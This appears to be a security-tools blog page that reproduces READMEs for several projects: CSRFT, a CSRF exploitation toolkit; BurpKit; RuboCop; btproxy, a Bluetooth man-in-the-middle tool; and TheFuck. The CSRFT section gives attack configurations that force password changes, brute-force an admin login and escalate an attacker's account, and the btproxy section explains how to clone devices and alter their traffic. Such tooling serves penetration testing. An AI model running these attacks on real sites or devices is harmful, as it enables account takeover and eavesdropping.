SECURITY EDUCATION, PRIVACY GUIDANCE, THREAT AWARENESS, OPEN SOURCE TOOLS, RESEARCH NOTES, AND RESPONSIBLE TECHNOLOGY CONTENT

  • Penetration Testing Distribution - BackBox

    BackBox is a penetration test and security assessment oriented Ubuntu-based Linux distribution providing a network and informatic systems analysis toolkit. It includes a complete set of tools required for ethical hacking and security testing...
  • Pentest Distro Linux - Weakerth4n

    Weakerth4n is a penetration testing distribution which is built from Debian Squeeze.For the desktop environment it uses Fluxbox...
  • The Amnesic Incognito Live System - Tails

    Tails is a live system that aims to preserve your privacy and anonymity. It helps you to use the Internet anonymously and circumvent censorship...
  • Penetration Testing Distribution - BlackArch

    BlackArch is a penetration testing distribution based on Arch Linux that provides a large amount of cyber security tools. It is an open-source distro created specially for penetration testers and security researchers...
  • The Best Penetration Testing Distribution - Kali Linux

    Kali Linux is a Debian-based distribution for digital forensics and penetration testing, developed and maintained by Offensive Security. Mati Aharoni and Devon Kearns rewrote BackTrack...
  • Friendly OS designed for Pentesting - ParrotOS

    Parrot Security OS is a cloud friendly operating system designed for Pentesting, Computer Forensic, Reverse engineering, Hacking, Cloud pentesting...

Tuesday, January 5, 2016

CSRFT - Cross Site Request Forgeries (Exploitation) Toolkit




This project has been developed to exploit CSRF Web vulnerabilities and provide you a quick and easy exploitation toolkit. In few words, this is a simple HTTP Server in NodeJS that will communicate with the clients (victims) and send them payload that will be executed using JavaScript.

This has been developed entirely in NodeJS, and configuration files are in JSON format.

* However, there's a tool in Python in utils folder that you can use to automate CSRF exploitation. *

This project allows you to perform PoC (Proof Of Concepts) really easily. Let's see how to get/use it.

How to get/use the tool
First, clone it :
$ git clone git@github.com:PaulSec/CSRFT.git
To make this project work, get the latest Node.js version here . Go in the directory and install all the dependencies:
npm install
Then, launch the server.js :
$ node server.js
Usage will be displayed :
Usage : node server.js <file.json> <port : default 8080>

More information
By default, the server will be launched on the port 8080, so you can access it via : http://0.0.0.0:8080 .
The JSON file must describe your several attack scenarios. It can be wherever you want on your hard drive.
The index page displayed on the browser is accessible via : /views/index.ejs .
You can change it as you want and give the link to your victim.

Different folders : What do they mean ?
The idea is to provide a 'basic' hierarchy (of the folders) for your projects. I made the script quite modular so your configuration files/malicious forms, etc. don't have to be in those folders though. This is more like a good practice/advice for your future projects.

However, here is a little summary of those folders :
  • conf folder : add your JSON configuration file with your configuration.
  • exploits folder : add all your *.html files containing your forms
  • public folder : containing jquery.js and inject.js (script loaded when accessing 0.0.0.0:8080)
  • views folder : index file and exploit template
  • dicos : Folder containing all your dictionnaries for those attacks
  • lib : libs specific for my project (custom ones)
  • utils : folder containing utils such as : csrft_utils.py which will launch CSRFT directly.
  • server.js file - the HTTP server

Configuration file templates

GET Request with special value
Here is a basic example of JSON configuration file that will target www.vulnerable.com This is a special value because the malicious payload is already in the URL/form.
{
"audit": {
"name": "PoC done with Automatic Tool",
"scenario": [
{
"attack": [
{
"method": "GET",
"type_attack": "special_value",
"url": "http://www.vulnerable.com/changePassword.php?newPassword=csrfAttacks"
}
]
}
]
}
}

GET Request with dictionnary attack
Here is a basic example of JSON configuration file. For every entry in the dictionnary file, there will be a HTTP Request done.
{
"audit": {
"name": "PoC done with Automatic Tool",
"scenario": [
{
"attack": [
{
"file": "./dicos/passwords.txt",
"method": "GET",
"type_attack": "dico",
"url": "http://www.vulnerable.com/changePassword.php?newPassword=<%value%>"
}
]
}
]
}
}


POST Request with special value attack
{
"audit": {
"name": "PoC done with Automatic Tool",
"scenario": [
{
"attack": [
{
"form": "/tmp/csrft/form.html",
"method": "POST",
"type_attack": "special_value"
}
]
}
]
}
}

The form already includes the malicious payload. So it just has to be executed by the victim.
I hope you understood the principles. I didn't write an example for a POST with dictionnary attack because there will be one in the next section.

Ok but what do Scenario and Attack mean ?
A scenario is composed of attacks. Those attacks can be simultaneous or at different time.
For example, you want to sign the user in and THEN , you want him to perform some unwanted actions. You can specify it in the JSON file.
Let's take an example with both POST and GET Request :
{
"audit": {
"name": "DeepSec | Login the admin, give privilege to the Hacker and log him out",

"scenario": [
{
"attack": [
{
"method": "POST",
"type_attack": "dico",
"file": "passwords.txt",
"form": "deepsec_form_log_user.html",
"comment": "attempt to connect the admin with a list of selected passwords"
}
]
},
{
"attack": [
{
"method": "GET",
"type_attack": "special_value",
"url": "http://192.168.56.1/vuln-website/index.php/welcome/upgrade/27",
"comment": "then, after the login session, we expect the admin to be logged in, attempt to upgrade our account"
}
]
},
{
"attack": [
{
"method": "GET",
"type_attack": "special_value",
"url": "http://192.168.56.1/vuln-website/index.php/welcome/logout",
"comment": "The final step is to logout the admin"
}
]
}
]
}
}

You can now define some "steps", different attacks that will be executed in a certain order.

Use cases

A) I want to write my specific JSON configuration file and launch it by hand
Based on the templates which are available, you can easily create your own. If you have any trouble creating it, feel free to contact me and I'll try to help you as much as I can but it shoudn't be this complicated.
Steps to succeed :
1) Create your configuration file, see samples in conf/ folder
2) Add your .html files in the exploits/ folder with the different payloads if the CSRF is POST vulnerable
3) If you want to do Dictionnary attack, add your dictionnary file to the dicos/ folder,
4) Replace the value of the field you want to perform this attack with the token <%value%>
=> either in your urls if GET exploitation, or in the HTML files if POST exploitation.
5) Launch the application : node server.js conf/test.json


B) I want to automate attacks really easily
To do so, I developed a Python script csrft_utils.py in utils folder that will do this for you.
Here are some basic use cases :
* GET parameter with Dictionnary attack : *
$ python csrft_utils.py --url="http://www.vulnerable.com/changePassword.php?newPassword=csvulnerableParameter" --param=newPassword --dico_file="../dicos/passwords.txt"
* POST parameter with Special value attack : *
$ python csrft_utils.py --form=http://website.com/user.php --id=changePassword --param=password password=newPassword --special_value


Share:

Burpkit - Next-Gen Burpsuite Penetration Testing Tool



Welcome to the next generation of web application penetration testing - using WebKit to own the web. BurpKit is a BurpSuite plugin which helps in assessing complex web apps that render the contents of their pages dynamically. It also provides a bi-directional JavaScript bridge API which allows users to create quick one-off BurpSuite plugin prototypes which can interact directly with the DOM and Burp's extender API.

System Requirements
BurpKit has the following system requirements:
  • Oracle JDK >=8u50 and <9 ( Download )
  • At least 4GB of RAM

Installation
Installing BurpKit is simple:
  1. Download the latest prebuilt release from the GitHub releases page .
  2. Open BurpSuite and navigate to the Extender tab.
  3. Under Burp Extensions click the Add button.
  4. In the Load Burp Extension dialog, make sure that Extension Type is set to Java and click the Select file ... button under Extension Details .
  5. Select the BurpKit-<version>.jar file and click Next when done.
If all goes well, you will see three additional top-level tabs appear in BurpSuite:
  1. BurpKitty : a courtesy browser for navigating the web within BurpSuite.
  2. BurpScript IDE : a lightweight integrated development environment for writing JavaScript-based BurpSuite plugins and other things.
  3. Jython : an integrated python interpreter console and lightweight script text editor.

BurpScript
BurpScript enables users to write desktop-based JavaScript applications as well as BurpSuite extensions using the JavaScript scripting language. This is achieved by injecting two new objects by default into the DOM on page load:
  1. burpKit : provides numerous features including file system I/O support and easy JS library injection.
  2. burpCallbacks : the JavaScript equivalent of the IBurpExtenderCallbacks interface in Java with a few slight modifications.
Take a look at the examples folder for more information.

More Information?
A readable version of the docs can be found at here


Share:

Rubocop - A Ruby Static Code Analyzer, Based On The Community Ruby Style Guide




RuboCop is a Ruby static code analyzer. Out of the box it will enforce many of the guidelines outlined in the community Ruby Style Guide .

Most aspects of its behavior can be tweaked via various configuration options.

Installation
RuboCop 's installation is pretty standard:
$ gem install rubocop
If you'd rather install RuboCop using bundler , don't require it in your Gemfile :
gem 'rubocop', require: false

Basic Usage
Running rubocop with no arguments will check all Ruby source files in the current directory:
$ rubocop
Alternatively you can pass rubocop a list of files and directories to check:
$ rubocop app spec lib/something.rb
Here's RuboCop in action. Consider the following Ruby source code:
def badName
if something
test
end
end
Running RuboCop on it (assuming it's in a file named test.rb ) would produce the following report:
Inspecting 1 file
W

Offenses:

test.rb:1:5: C: Use snake_case for method names.
def badName
^^^^^^^
test.rb:2:3: C: Use a guard clause instead of wrapping the code inside a conditional expression.
if something
^^
test.rb:2:3: C: Favor modifier if usage when having a single-line body. Another good alternative is the usage of control flow &&/||.
if something
^^
test.rb:4:5: W: end at 4, 4 is not aligned with if at 2, 2
end
^^^

1 file inspected, 4 offenses detected

For more details check the available command-line options:
$ rubocop -h
Command flag Description
-v/--version Displays the current version and exits.
-V/--verbose-version Displays the current version plus the version of Parser and Ruby.
-L/--list-target-files List all files RuboCop will inspect.
-F/--fail-fast Inspects in modification time order and stops after first file with offenses.
-C/--cache Store and reuse results for faster operation.
-d/--debug Displays some extra debug output.
-D/--display-cop-names Displays cop names in offense messages.
-c/--config Run with specified config file.
-f/--format Choose a formatter.
-o/--out Write output to a file instead of STDOUT.
-r/--require Require Ruby file (see Loading Extensions ).
-R/--rails Run extra Rails cops.
-l/--lint Run only lint cops.
-a/--auto-correct Auto-correct certain offenses. Note: Experimental - use with caution.
--only Run only the specified cop(s) and/or cops in the specified departments.
--except Run all cops enabled by configuration except the specified cop(s) and/or departments.
--auto-gen-config Generate a configuration file acting as a TODO list.
--exclude-limit Limit how many individual files --auto-gen-config can list in Exclude parameters, default is 15.
--show-cops Shows available cops and their configuration.
--fail-level Minimum severity for exit with error code. Full severity name or upper case initial can be given. Normally, auto-corrected offenses are ignored. Use A or autocorrect if you'd like them to trigger failure.
-s/--stdin Pipe source from STDIN. This is useful for editor integration.

Cops
In RuboCop lingo the various checks performed on the code are called cops. There are several cop departments.
You can also load custom cops .

Style
Most of the cops in RuboCop are so called style cops that check for stylistics problems in your code. Almost all of the them are based on the Ruby Style Guide. Many of the style cops have configurations options allowing them to support different popular coding conventions.

Lint
Lint cops check for possible errors and very bad practices in your code. RuboCop implements in a portable way all built-in MRI lint checks ( ruby -wc ) and adds a lot of extra lint checks of its own. You can run only the lint cops like this:
$ rubocop -l
The -l / --lint option can be used together with --only to run all the enabled lint cops plus a selection of other cops.
Disabling any of the lint cops is generally a bad idea.

Metrics
Metrics cops deal with properties of the source code that can be measured, such as class length, method length, etc. Generally speaking, they have a configuration parameter called Max and when running rubocop --auto-gen-config , this parameter will be set to the highest value found for the inspected code.

Rails
Rails cops are specific to the Ruby on Rails framework. Unlike style and lint cops they are not used by default and you have to request them specifically:
$ rubocop -R
or add the following directive to your .rubocop.yml :
AllCops:
RunRailsCops: true

Configuration
The behavior of RuboCop can be controlled via the .rubocop.yml configuration file. It makes it possible to enable/disable certain cops (checks) and to alter their behavior if they accept any parameters. The file can be placed either in your home directory or in some project directory.
RuboCop will start looking for the configuration file in the directory where the inspected file is and continue its way up to the root directory.
The file has the following format:
inherit_from: ../.rubocop.yml

Style/Encoding:
Enabled: false

Metrics/LineLength:
Max: 99
Note : Qualifying cop name with its type, e.g., Style , is recommended, but not necessary as long as the cop name is unique across all types.

Inheritance
RuboCop supports inheriting configuration from one or more supplemental configuration files at runtime.

Inheriting from another configuration file in the project
The optional inherit_from directive is used to include configuration from one or more files. This makes it possible to have the common project settings in the .rubocop.yml file at the project root, and then only the deviations from those rules in the subdirectories. The files can be given with absolute paths or paths relative to the file where they are referenced. The settings after an inherit_from directive override any settings in the file(s) inherited from. When multiple files are included, the first file in the list has the lowest precedence and the last one has the highest. The format for multiple inheritance is:
inherit_from:
- ../.rubocop.yml
- ../conf/.rubocop.yml

Inheriting configuration from a dependency gem
The optional inherit_gem directive is used to include configuration from one or more gems external to the current project. This makes it possible to inherit a shared dependency's RuboCop configuration that can be used from multiple disparate projects.
Configurations inherited in this way will be essentially prepended to the inherit_from directive, such that the inherit_gem configurations will be loaded first, then the inherit_from relative file paths will be loaded (overriding the configurations from the gems), and finally the remaining directives in the configuration file will supersede any of the inherited configurations. This means the configurations inherited from one or more gems have the lowest precedence of inheritance.
The directive should be formatted as a YAML Hash using the gem name as the key and the relative path within the gem as the value:
inherit_gem:
rubocop: config/default.yml
my-shared-gem: .rubocop.yml
cucumber: conf/rubocop.yml
Note : If the shared dependency is declared using a Bundler Gemfile and the gem was installed using bundle install , it would be necessary to also invoke RuboCop using Bundler in order to find the dependency's installation path at runtime:
$ bundle exec rubocop <options...>

Defaults
The file config/default.yml under the RuboCop home directory contains the default settings that all configurations inherit from. Project and personal .rubocop.yml files need only make settings that are different from the default ones. If there is no .rubocop.yml file in the project or home directory, config/default.yml will be used.

Including/Excluding files
RuboCop checks all files found by a recursive search starting from the directory it is run in, or directories given as command line arguments. However, it only recognizes files ending with .rb or extensionless files with a #!.*ruby declaration as Ruby files. Hidden directories (i.e., directories whose names start with a dot) are not searched by default. If you'd like it to check files that are not included by default, you'll need to pass them in on the command line, or to add entries for them under AllCops / Include . Files and directories can also be ignored through AllCops / Exclude .
Here is an example that might be used for a Rails project:
AllCops:
Include:
- '**/Rakefile'
- '**/config.ru'
Exclude:
- 'db/**/*'
- 'config/**/*'
- 'script/**/*'
- !ruby/regexp /old_and_unused\.rb$/

# other configuration
# ...
Files and directories are specified relative to the .rubocop.yml file.
Note : Patterns that are just a file name, e.g. Rakefile , will match that file name in any directory, but this pattern style deprecated. The correct way to match the file in any directory, including the current, is **/Rakefile .
Note : The pattern config/** will match any file recursively under config , but this pattern style is deprecated and should be replaced by config/**/* .
Note : The Include and Exclude parameters are special. They are valid for the directory tree starting where they are defined. They are not shadowed by the setting of Include and Exclude in other .rubocop.yml files in subdirectories. This is different from all other parameters, who follow RuboCop's general principle that configuration for an inspected file is taken from the nearest .rubocop.yml , searching upwards.
Cops can be run only on specific sets of files when that's needed (for instance you might want to run some Rails model checks only on files whose paths match app/models/*.rb ). All cops support the Include param.
Rails/DefaultScope:
Include:
- app/models/*.rb
Cops can also exclude only specific sets of files when that's needed (for instance you might want to run some cop only on a specific file). All cops support the Exclude param.
Rails/DefaultScope:
Exclude:
- app/models/problematic.rb

Generic configuration parameters
In addition to Include and Exclude , the following parameters are available for every cop.

Enabled
Specific cops can be disabled by setting Enabled to false for that specific cop.
Metrics/LineLength:
Enabled: false
Most cops are enabled by default. Some cops, configured in config/disabled.yml , are disabled by default. The cop enabling process can be altered by setting DisabledByDefault to true .
AllCops:
DisabledByDefault: true
All cops are then disabled by default, and only cops appearing in user configuration files are enabled. Enabled: true does not have to be set for cops in user configuration. They will be enabled anyway.

Severity
Each cop has a default severity level based on which department it belongs to. The level is warning for Lint and convention for all the others. Cops can customize their severity level. Allowed params are refactor , convention , warning , error and fatal .
There is one exception from the general rule above and that is Lint/Syntax , a special cop that checks for syntax errors before the other cops are invoked. It can not be disabled and its severity ( fatal ) can not be changed in configuration.
Metrics/CyclomaticComplexity:
Severity: warning

AutoCorrect
Cops that support the --auto-correct option can have that support disabled. For example:
Style/PerlBackrefs:
AutoCorrect: false

Automatically Generated Configuration
If you have a code base with an overwhelming amount of offenses, it can be a good idea to use rubocop --auto-gen-config and add an inherit_from: .rubocop_todo.yml in your .rubocop.yml . The generated file .rubocop_todo.yml contains configuration to disable cops that currently detect an offense in the code by excluding the offending files, or disabling the cop altogether once a file count limit has been reached.
By adding the option --exclude-limit COUNT , e.g., rubocop --auto-gen-config --exclude-limit 5 , you can change how many files are excluded before the cop is entirely disabled. The default COUNT is 15.
Then you can start removing the entries in the generated .rubocop_todo.yml file one by one as you work through all the offenses in the code.

Disabling Cops within Source Code
One or more individual cops can be disabled locally in a section of a file by adding a comment such as
# rubocop:disable Metrics/LineLength, Style/StringLiterals
[...]
# rubocop:enable Metrics/LineLength, Style/StringLiterals
You can also disable all cops with
# rubocop:disable all
[...]
# rubocop:enable all
One or more cops can be disabled on a single line with an end-of-line comment.
for x in (0..19) # rubocop:disable Style/AvoidFor

Formatters
You can change the output format of RuboCop by specifying formatters with the -f/--format option. RuboCop ships with several built-in formatters, and also you can create your custom formatter.
Additionally the output can be redirected to a file instead of $stdout with the -o/--out option.
Some of the built-in formatters produce machine-parsable output and they are considered public APIs. The rest of the formatters are for humans, so parsing their outputs is discouraged.
You can enable multiple formatters at the same time by specifying -f/--format multiple times. The -o/--out option applies to the previously specified -f/--format , or the default progress format if no -f/--format is specified before the -o/--out option.
# Simple format to $stdout.
$ rubocop --format simple

# Progress (default) format to the file result.txt.
$ rubocop --out result.txt

# Both progress and offense count formats to $stdout.
# The offense count formatter outputs only the final summary,
# so you'll mostly see the outputs from the progress formatter,
# and at the end the offense count summary will be outputted.
$ rubocop --format progress --format offenses

# Progress format to $stdout, and JSON format to the file rubocop.json.
$ rubocop --format progress --format json --out rubocop.json
# ~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~
# | |_______________|
# $stdout

# Progress format to result.txt, and simple format to $stdout.
$ rubocop --output result.txt --format simple
# ~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~
# | |

# default format $stdout
You can also load custom formatters .

Progress Formatter (default)
The default progress formatter outputs a character for each inspected file, and at the end it displays all detected offenses in the clang format. A . represents a clean file, and each of the capital letters means the severest offense (convention, warning, error or fatal) found in a file.
$ rubocop
Inspecting 26 files
..W.C....C..CWCW.C...WC.CC

Offenses:

lib/foo.rb:6:5: C: Missing top-level class documentation comment.
class Foo
^^^^^

...

26 files inspected, 46 offenses detected

Clang Style Formatter
The clang formatter displays the offenses in a manner similar to clang :
$ rubocop test.rb
Inspecting 1 file
W

Offenses:

test.rb:1:5: C: Use snake_case for method names.
def badName
^^^^^^^
test.rb:2:3: C: Use a guard clause instead of wrapping the code inside a conditional expression.
if something
^^
test.rb:2:3: C: Favor modifier if usage when having a single-line body. Another good alternative is the usage of control flow &&/||.
if something
^^
test.rb:4:5: W: end at 4, 4 is not aligned with if at 2, 2
end
^^^

1 file inspected, 4 offenses detected

Fuubar Style Formatter
The fuubar style formatter displays a progress bar and shows details of offenses in the clang format as soon as they are detected. This is inspired by the Fuubar formatter for RSpec.
$ rubocop --format fuubar
lib/foo.rb.rb:1:1: C: Use snake_case for methods and variables.
def badName
^^^^^^^
lib/bar.rb:13:14: W: File.exists? is deprecated in favor of File.exist?.
File.exists?(path)
^^^^^^^
22/53 files |======== 43 ========> | ETA: 00:00:02

Emacs Style Formatter
Machine-parsable
The emacs formatter displays the offenses in a format suitable for consumption by Emacs (and possibly other tools).
$ rubocop --format emacs test.rb
/Users/bozhidar/projects/test.rb:1:1: C: Use snake_case for methods and variables.
/Users/bozhidar/projects/test.rb:2:3: C: Favor modifier if/unless usage when you have a single-line body. Another good alternative is the usage of control flow &&/||.
/Users/bozhidar/projects/test.rb:4:5: W: end at 4, 4 is not aligned with if at 2, 2

Simple Formatter
The name of the formatter says it all :-)
$ rubocop --format simple test.rb
== test.rb ==
C: 1: 5: Use snake_case for method names.
C: 2: 3: Use a guard clause instead of wrapping the code inside a conditional expression.
C: 2: 3: Favor modifier if usage when having a single-line body. Another good alternative is the usage of control flow &&/||.
W: 4: 5: end at 4, 4 is not aligned with if at 2, 2

1 file inspected, 4 offenses detected


File List Formatter
Machine-parsable
Sometimes you might want to just open all files with offenses in your favorite editor. This formatter outputs just the names of the files with offenses in them and makes it possible to do something like:
$ rubocop --format files | xargs vim

JSON Formatter
Machine-parsable
You can get RuboCop's inspection result in JSON format by passing --format json option in command line. The JSON structure is like the following example:
{
"metadata": {
"rubocop_version": "0.9.0",
"ruby_engine": "ruby",
"ruby_version": "2.0.0",
"ruby_patchlevel": "195",
"ruby_platform": "x86_64-darwin12.3.0"
},
"files": [{
"path": "lib/foo.rb",
"offenses": []
}, {
"path": "lib/bar.rb",
"offenses": [{
"severity": "convention",
"message": "Line is too long. [81/80]",
"cop_name": "LineLength",
"corrected": true,
"location": {
"line": 546,
"column": 80,
"length": 4
}
}, {
"severity": "warning",
"message": "Unreachable code detected.",
"cop_name": "UnreachableCode",
"corrected": false,
"location": {
"line": 15,
"column": 9,
"length": 10
}
}
]
}
],
"summary": {
"offense_count": 2,
"target_file_count": 2,
"inspected_file_count": 2
}
}

Offense Count Formatter
Sometimes when first applying RuboCop to a codebase, it's nice to be able to see where most of your style cleanup is going to be spent.
With this in mind, you can use the offense count formatter to outline the offended cops and the number of offenses found for each by running:
$ rubocop --format offenses

87 Documentation
12 DotPosition
8 AvoidGlobalVars
7 EmptyLines
6 AssignmentInCondition
4 Blocks
4 CommentAnnotation
3 BlockAlignment
1 IndentationWidth
1 AvoidPerlBackrefs
1 ColonMethodCall
--
134 Total

HTML Formatter
Useful for CI environments. It will create an HTML report like this .
$ rubocop --format html -o rubocop.html

Compatibility
RuboCop supports the following Ruby implementations:
  • MRI 1.9.3
  • MRI 2.0
  • MRI 2.1
  • MRI 2.2
  • JRuby in 1.9 mode
  • Rubinius 2.0+

Editor integration

Emacs
rubocop.el is a simple Emacs interface for RuboCop. It allows you to run RuboCop inside Emacs and quickly jump between problems in your code.
flycheck > 0.9 also supports RuboCop and uses it by default when available.

Vim
The vim-rubocop plugin runs RuboCop and displays the results in Vim.
There's also a RuboCop checker in syntastic .

Sublime Text
If you're a ST user you might find the Sublime RuboCop plugin useful.

Brackets
The brackets-rubocop extension displays RuboCop results in Brackets. It can be installed via the extension manager in Brackets.

TextMate2
The textmate2-rubocop bundle displays formatted RuboCop results in a new window. Installation instructions can be found here .

Atom
The atom-lint package runs RuboCop and highlights the offenses in Atom.
You can also use the linter-rubocop plugin for Atom's linter .

LightTable
The lt-rubocop plugin provides LightTable integration.

RubyMine
The rubocop-for-rubymine plugin provides basic RuboCop integration for RubyMine/IntelliJ IDEA.

Other Editors
Here's one great opportunity to contribute to RuboCop - implement RuboCop integration for your favorite editor.

Git pre-commit hook integration
overcommit is a fully configurable and extendable Git commit hook manager. To use RuboCop with overcommit, add the following to your .overcommit.yml file:
PreCommit:
RuboCop:
enabled: true

Guard integration
If you're fond of Guard you might like guard-rubocop . It allows you to automatically check Ruby code style with RuboCop when files are modified.

Rake integration
To use RuboCop in your Rakefile add the following:
require 'rubocop/rake_task'

RuboCop::RakeTask.new
If you run rake -T , the following two RuboCop tasks should show up:
rake rubocop                                  # Run RuboCop
rake rubocop:auto_correct # Auto-correct RuboCop offenses
The above will use default values
require 'rubocop/rake_task'

desc 'Run RuboCop on the lib directory'
RuboCop::RakeTask.new(:rubocop) do |task|
task.patterns = ['lib/**/*.rb']
# only show the files with failures
task.formatters = ['files']
# don't abort rake on failure
task.fail_on_error = false
end

Caching
Large projects containing hundreds or even thousands of files can take a really long time to inspect, but RuboCop has functionality to mitigate this problem. There's a caching mechanism that stores information about offenses found in inspected files.

Cache Validity
Later runs will be able to retrieve this information and present the stored information instead of inspecting the file again. This will be done if the cache for the file is still valid, which it is if there are no changes in:
  • the contents of the inspected file
  • RuboCop configuration for the file
  • the options given to rubocop , with some exceptions that have no bearing on which offenses are reported
  • the Ruby version used to invoke rubocop
  • version of the rubocop program (or to be precise, anything in the source code of the invoked rubocop program)

Enabling and Disabling the Cache
The caching functionality is enabled if the configuration parameter AllCops: UseCache is true , which it is by default. The command line option --cache false can be used to turn off caching, thus overriding the configuration parameter. If AllCops: UseCache is set to false in the local .rubocop.yml , then it's --cache true that overrides the setting.

Cache Path
By default, the cache is stored in in a subdirectory of the temporary directory, /tmp/rubocop_cache/ on Unix-like systems. The configuration parameter AllCops: CacheRootDirectory can be used to set it to a different path. One reason to use this option could be that there's a network disk where users on different machines want to have a common RuboCop cache. Another could be that a Continuous Integration system allows directories, but not a temporary directory, to be saved between runs.

Cache Pruning
Each time a file has changed, its offenses will be stored under a new key in the cache. This means that the cache will continue to grow until we do something to stop it. The configuration parameter AllCops: MaxFilesInCache sets a limit, and when the number of files in the cache exceeds that limit, the oldest files will be automatially removed from the cache.

Extensions
It's possible to extend RuboCop with custom cops and formatters.

Loading Extensions
Besides the --require command line option you can also specify ruby files that should be loaded with the optional require directive in the .rubocop.yml file:
require:
- ../my/custom/file.rb
- rubocop-extension
Note: The paths are directly passed to Kernel.require . If your extension file is not in $LOAD_PATH , you need to specify the path as relative path prefixed with ./ explicitly, or absolute path.

Custom Cops
You can configure the custom cops in your .rubocop.yml just like any other cop.

Known Custom Cops

Custom Formatters
You can customize RuboCop's output format with custom formatters.

Creating Custom Formatter
To implement a custom formatter, you need to subclass RuboCop::Formatter::BaseFormatter and override some methods, or implement all formatter API methods by duck typing.
Please see the documents below for more formatter API details.

Using Custom Formatter in Command Line
You can tell RuboCop to use your custom formatter with a combination of --format and --require option. For example, when you have defined MyCustomFormatter in ./path/to/my_custom_formatter.rb , you would type this command:
$ rubocop --require ./path/to/my_custom_formatter --format MyCustomFormatter


Share:

Btproxy - Man In The Middle Analysis Tool For Bluetooth




Tested Devices
  • Pebble Steel smart watch
  • Moto 360 smart watch
  • OBDLink OBD-II Bluetooth Dongle
  • Withings Smart Baby Monitor
If you have tried anything else, please let me know at conorpp (at) vt (dot) edu.

Dependencies
  • Need at least 1 Bluetooth card (either USB or internal).
  • Need to be running Linux, another *nix, or OS X.
  • BlueZ 4
For a debian system, run
sudo apt-get install bluez bluez-utils bluez-tools libbluetooth-dev python-dev

Installation
sudo python setup.py install

Running
To run a simple MiTM or proxy on two devices, run
btproxy <master-bt-mac-address> <slave-bt-mac-address>
Run btproxy to get a list of command arguments.

Example
# This will connect to the slave 40:14:33:66:CC:FF device and 
# wait for a connection from the master F1:64:F3:31:67:88 device
btproxy F1:64:F3:31:67:88 40:14:33:66:CC:FF
Where the master is typically the phone and the slave mac address is typically the other peripherial device (smart watch, headphones, keyboard, obd2 dongle, etc).
The master is the device the sends the connection request and the slave is the device listening for something to connect to it.
After the proxy connects to the slave device and the master connects to the proxy device, you will be able to see traffic and modify it.

How to find the BT MAC Address?
Well, you can look it up in the settings usually for a phone. The most robost way is to put the device in advertising mode and scan for it.
There are two ways to scan for devices: scanning and inquiring. hcitool can be used to do this:
hcitool scan
hcitool inq
To get a list of services on a device:
sdptool records <bt-address>

Usage
Some devices may restrict connecting based on the name, class, or address of another bluetooth device.
So the program will lookup those three properties of the target devices to be proxied, and then clone them onto the proxying adapter(s).
Then it will first try connecting to the slave device from the cloned master adaptor. It will make a socket for each service hosted by the slave and relay traffic for each one independently.
After the slave is connected, the cloned slave adaptor will be set to be listening for a connection from the master. At this point, the real master device should connect to the adaptor. After the master connects, the proxied connection is complete.

Using only one adapter
This program uses either 1 or 2 Bluetooth adapters. If you use one adapter, then only the slave device will be cloned. Both devices will be cloned if 2 adapters are used; this might be necessary for more restrictive Bluetooth devices.

Advanced Usage
Manipulation of the traffic can be handled via python by passing an inline script. Just implement the master_cb and slave_cb callback functions. This are called upon receiving data and the returned data is sent back out to the corresponding device.
# replace.py
def master_cb(req):
"""
Received something from master, about to be sent to slave.
"""
print '<< ', repr(req)
open('mastermessages.log', 'a+b').write(req)
return req

def slave_cb(res):
"""
Same as above but it's from slave about to be sent to master
"""
print '>> ', repr(res)
open('slavemessages.log', 'a+b').write(res)
return res
Also see the example functions for manipulating Pebble watch traffic in replace.py
This code can be edited and reloaded during runtime by entering 'r' into the program console. This avoids the pains of reconnecting. Any errors will be caught and regular transmission will continue.

TODO
  • BLE
  • Improve the file logging of the traffic and make it more interactive for
  • replays/manipulation.
  • Indicate which service is which in the output.
  • Provide control for disconnecting/connecting services.
  • PCAP file support
  • ncurses?

How it works
This program starts by killing the bluetoothd process, running it again with a LD_PRELOAD pointed to a wrapper for the bind system call to block bluetoothd from binding to L2CAP port 1 (SDP). All SDP traffic goes over L2CAP port 1 so this makes it easy to MiTM/forward between the two devices and we don't have to worry about mimicking the advertising.
The program first scans each device for their name and device class to make accurate clones. It will append the string '_btproxy' to each name to make them distinguishable from a user perspective. Alternatively, you can specify the names to use at the command line.
The program then scans the services of the slave device. It makes a socket connection to each service and open a listening port for the master device to connect to. Once the master connects, the Proxy/MiTM is complete and output will be sent to STDOUT.

Notes
Some bluetooth devices have different methods of pairing which makes this process more complicated. Right now it supports SPP and legacy pin pairing.
This program doesn't yet have support for Bluetooth Low Energy. A similiar approach to BLE can be taken.

Errors

btproxy or bluetoothd hangs
If you are using bluez 5, you should try uninstalling and installing bluez 4 . I've had problems with bluez 5 hanging.

error accessing bluetooth device
Make sure the bluetooth adaptors are plugged in and enabled.
Run
    # See the list of all adaptors
hciconfig -a

# Enable
sudo hciconfig hciX up

# if you get this message
Can't init device hci0: Operation not possible due to RF-kill (132)

# Then try unblocking it with the rfkill command
sudo rfkill unblock all

UserWarning: <path>/.python-eggs is writable by group/others
Fix
chmod g-rw,o-x <path>/.python-eggs


Share:

TheFuck - Magnificent App Which Corrects Your Previous Console Command



Few examples:
➜ apt-get install vim
E: Could not open lock file /var/lib/dpkg/lock - open (13: Permission denied)
E: Unable to lock the administration directory (/var/lib/dpkg/), are you root?

➜ fuck
sudo apt-get install vim [enter/↑/↓/ctrl+c]
[sudo] password for nvbn:
Reading package lists... Done
...


➜ git push
fatal: The current branch master has no upstream branch.
To push the current branch and set the remote as upstream, use

git push --set-upstream origin master


➜ fuck
git push --set-upstream origin master [enter/↑/↓/ctrl+c]
Counting objects: 9, done.
...
➜ puthon
No command 'puthon' found, did you mean:
Command 'python' from package 'python-minimal' (main)
Command 'python' from package 'python3' (main)
zsh: command not found: puthon

➜ fuck
python [enter/↑/↓/ctrl+c]
Python 3.4.2 (default, Oct 8 2014, 13:08:17)
...
➜ git brnch
git: 'brnch' is not a git command. See 'git --help'.

Did you mean this?
branch

➜ fuck
git branch [enter/↑/↓/ctrl+c]
* master
➜ lein rpl
'rpl' is not a task. See 'lein help'.

Did you mean this?
repl

➜ fuck
lein repl [enter/↑/↓/ctrl+c]
nREPL server started on port 54848 on host 127.0.0.1 - nrepl://127.0.0.1:54848
REPL-y 0.3.1

...
If you are not scared to blindly run the changed command, there is a require_confirmation settings option:
➜ apt-get install vim
E: Could not open lock file /var/lib/dpkg/lock - open (13: Permission denied)
E: Unable to lock the administration directory (/var/lib/dpkg/), are you root?

➜ fuck
sudo apt-get install vim
[sudo] password for nvbn:
Reading package lists... Done
...

Requirements
  • python (2.7+ or 3.3+)
